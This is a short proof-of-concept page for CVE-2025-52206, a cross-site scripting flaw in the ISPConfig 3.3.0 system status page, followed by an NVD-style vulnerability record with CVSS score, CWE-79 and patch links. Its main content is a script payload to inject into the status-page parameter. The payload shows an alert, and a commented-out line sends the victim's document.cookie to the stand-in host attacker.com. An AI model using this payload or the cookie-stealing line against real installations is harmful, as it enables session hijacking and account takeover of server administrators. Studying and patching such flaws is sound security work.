CVE-2025-52206

<!-- PoC for CVE-2025-52206 --> <!-- Inject this payload into the system status page parameter --> <script> // Demonstrate execution via alert alert('CVE-2025-52206 XSS Vulnerability'); // Example: Steal document cookie // new Image().src="http://attacker.com/steal?c="+document.cookie; </script>

{"cve": {"id": "CVE-2025-52206", "sourceIdentifier": "[email protected]", "published": "2026-05-05T16:16:09.633", "lastModified": "2026-05-12T15:54:14.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ISPConfig 3.3.0 is vulnerable to Cross Site Scripting (XSS) via the system status webpage."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ispconfig:ispconfig:3.3.0:-:*:*:*:*:*:*", "matchCriteriaId": "3CD1458A-128B-4F57-9003-456B9C786566"}]}]}], "references": [{"url": "http://ispconfig.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.ispconfig.org/blog/ispconfig-3-3-0p2-released-security-update/", "source": "[email protected]", "tags": ["Patch", "Release Notes"]}]}}